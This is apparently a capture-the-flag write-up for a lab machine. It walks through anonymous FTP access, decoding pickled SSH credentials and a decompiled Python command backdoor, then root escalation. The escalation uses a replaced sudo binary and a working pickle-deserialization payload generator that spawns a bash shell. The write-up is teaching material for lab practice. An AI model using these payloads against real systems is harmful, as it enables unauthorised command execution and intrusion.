Room link

Objectives

Capture user.txt and root.txt flags

Steps

Enumeration

Let’s start with a standard nmap scan:

1
2
3
4
5
6
7
8
9
10
Nmap scan report for <IP>

PORT   STATE  SERVICE  REASON       VERSION
20/tcp closed ftp-data conn-refused
21/tcp open   ftp      syn-ack      vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 ftp      ftp            17 May 15 18:37 test.txt
22/tcp open   ssh      syn-ack      OpenSSH 7.2p2 Ubuntu 4ubuntu2.8

Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

FTP

Nmap scan showed us that we can log in as an anonymous user so let’s do that:

1
2
ftp> dir
-rw-r--r--    1 ftp      ftp            17 May 15 18:37 test.txt

We see nothing interesting in this file so let’s investigate further:

1
2
3
4
5
ftp> ls -al
drwxr-xr-x    2 ftp      ftp          4096 May 15 18:37 .
drwxr-xr-x    2 ftp      ftp          4096 May 15 18:37 ..
-rw-r--r--    1 ftp      ftp          7048 May 15 18:37 .creds
-rw-r--r--    1 ftp      ftp            17 May 15 18:37 test.txt

Now we can see a hidden creds file, after downloading it we see it’s a file containing something encoded with binary

1
100000000000001101011101011100010000000<REDACTED>0011000011001110001010110100110010100101110

After decoding it we see some strange things

1
2
3
4
�]q(X
ssh_pass15qXuq�qX       ssh_user1qXhq�qX
ssh_pass25qXr�q X
ssh_pass20q

After trying few things on it I finally found out that this file was a python pickle file

Pickled credentials

After reading the pickle file in python we see it is an array of tuples:

1
2
3
4
5
import pickle

f = open('./ftp/creds.pickle', 'rb')
data = pickle.load(f)
print(data)
1
2
$ python readCreds.py
[('ssh_pass15', 'u'), ('ssh_user1', 'h'), <REDACTED>, ('ssh_pass0', 'p'), ('ssh_pass10', '1')]

After a quick look on the array we see that each tuple marks a single char in the ssh username/password and after decoding it we get our first shell on the system

First user: gherkin

After logging in we only see one file in user’s home directory:

1
-rw-r--r-- 1 root root 2350 May 15 18:37 cmd_service.pyc

It’s a python bytecode file, we can either try to read the bytecode or decompile (eg. with uncompyle6)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from Crypto.Util.number import bytes_to_long, long_to_bytes
import sys, textwrap, socketserver, string, readline, threading
from time import *
import getpass, os, subprocess
username = long_to_bytes(<REDACTED>)
password = long_to_bytes(<REDACTED>)

class Service(socketserver.BaseRequestHandler):

    def ask_creds(self):
        username_input = self.receive(b'Username: ').strip()
        password_input = self.receive(b'Password: ').strip()
        print(username_input, password_input)
        if username_input == username:
            if password_input == password:
                return True
        return False

    def handle(self):
        loggedin = self.ask_creds()
        if not loggedin:
            self.send(b'Wrong credentials!')
            return None
        self.send(b'Successfully logged in!')
        while True:
            command = self.receive(b'Cmd: ')
            p = subprocess.Popen(command,
              shell=True, stdout=(subprocess.PIPE), stderr=(subprocess.PIPE))
            self.send(p.stdout.read())

    def send(self, string, newline=True):
        if newline:
            string = string + b'\n'
        self.request.sendall(string)

    def receive(self, prompt=b'> '):
        self.send(prompt, newline=False)
        return self.request.recv(4096).strip()


class ThreadedService(socketserver.ThreadingMixIn, socketserver.TCPServer, socketserver.DatagramRequestHandler):
    pass


def main():
    print('Starting server...')
    port = 7321
    host = '0.0.0.0'
    service = Service
    server = ThreadedService((host, port), service)
    server.allow_reuse_address = True
    server_thread = threading.Thread(target=(server.serve_forever))
    server_thread.daemon = True
    server_thread.start()
    print('Server started on ' + str(server.server_address) + '!')
    while True:
        sleep(10)


if __name__ == '__main__':
    main()

After decoding and analyzing the file we can see it’s a shell/backdoor server written in python with hardcoded credentials. We can easily decode them by grabbing the number and decoding it with long_to_bytes from Crypto.Util.number

Second user: dill

Now that we have the credentials for the backdoor we can connect to it:

1
2
3
4
5
$ nc 10.10.89.115 7321
Username: dill
Password: <REDACTED>
Successfully logged in!
Cmd:

We get dropped into a “shell” where we can execute commands but we’re stuck in one directory.

Just to make it easier for me I decided to create the .ssh folder for this user and pasted my ssh public key so I can connect to it via ssh to get a usable shell.

Now that we have a stable shell we can easily browse files and execute commands.

In this user’s home dir we can see the user flag and a peak_hill_farm directory

1
2
drwxr-xr-x 2 root root 4096 May 15 18:38 peak_hill_farm
-r--r----- 1 dill dill   33 May 15 18:38 user.txt

First thing I did after getting the ssh shell was checking for any sudo privileges and this user has the ability to run the ~/peak_hill_farm/peak_hill_farm file as root

1
2
User dill may run the following commands on ubuntu-xenial:
    (ALL : ALL) NOPASSWD: /home/dill/peak_hill_farm/peak_hill_farm

Unintended (patched) privesc

When the box first came out it was possible to just remove the peak_hill_farm file and replace it with a simple shell script that spawned a root bash shell:

1
2
3
#!/bin/bash
id
bash

Intended privesc

After running the peak_hill_farm file we see a simple prompt:

1
2
3
Peak Hill Farm 1.0 - Grow something on the Peak Hill Farm!

to grow:

After entering random text we can see an error:

1
2
to grow: asd
failed to decode base64

Let’s try to decode some random text with base64:

1
2
to grow: dGVzdAo=
this not grow did not grow on the Peak Hill Farm! :(

That’s when I decided to download the binary and try to analyze it. When I extracted some compressed blocks of data and ran strings on them I found out that the input was ran through a pickle deserializer.

We can try to create a malicious pickle payload by serializing an object that overrides the __reduce__ function that describes how pickle should reconstruct the object so it contains an eval function:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import sys
import pickle
import base64
import os

cmd = sys.argv[1]

class Exec(object):
    def __reduce__(self):
        return (eval("os.system"), (cmd,))

print(f"os.system(\"{cmd}\")")
print()
print(base64.b64encode(pickle.dumps(Exec())).decode())

We can run this script with a parameter like bash to make the payload spawn a bash shell for us

1
2
to grow: gASVHwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjARiYXNolIWUUpQu
[email protected]:~#

Root

After getting root with one of the ways described above we can try to read the flag file just to learn it’s not there

1
2
3
4
[email protected]:/root# ls
 root.txt 
[email protected]:/root# cat root.txt
cat: root.txt: No such file or directory

The filename has a space/other char inside. I tried escaping it but decided it’s easier just to cat every file in root instead





Thanks to John Hammond for creating this room and thanks to you for reading.
Hope you learned something :)